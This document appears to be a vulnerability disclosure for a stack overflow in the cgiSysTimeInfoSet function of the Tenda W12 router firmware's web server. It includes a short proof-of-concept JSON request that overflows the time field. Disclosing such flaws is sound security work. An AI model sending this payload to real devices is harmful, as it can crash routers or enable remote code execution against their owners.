# Stack Overflow Vulnerability in the `cgiSysTimeInfoSet` Function of Tenda W12

## Basic Information

- Vendor: Tenda
- Product: W12
- Firmware Version: V3.0.0.7(4763)
- Firmware Release Date: 2026-03-04

## Vulnerability Overview

A stack overflow vulnerability exists in the `cgiSysTimeInfoSet` function of the `/bin/httpd` binary in Tenda W12 V3.0.0.7(4763). An attacker can remotely trigger the vulnerability by sending a specially crafted request.

## Detailed Analysis

The program parses the `time` field inside the `cgiSysTimeInfoSet` function. During parsing, an overflow can occur when processing the `sec` variable.

![image-20260426154836444](assets/image-20260426154836444.png)

![image-20260426154847577](assets/image-20260426154847577.png)

PoC request

```
{
  "sysTimeInfoSet": {
    "type": "manual",
    "time": "2026-04-26-12-00-"+"A"*0x1000
  }
}
```

## Impact

- Stack Overflow
- May lead to:
  - Device crash (DoS)
  - Potential remote code execution (RCE)
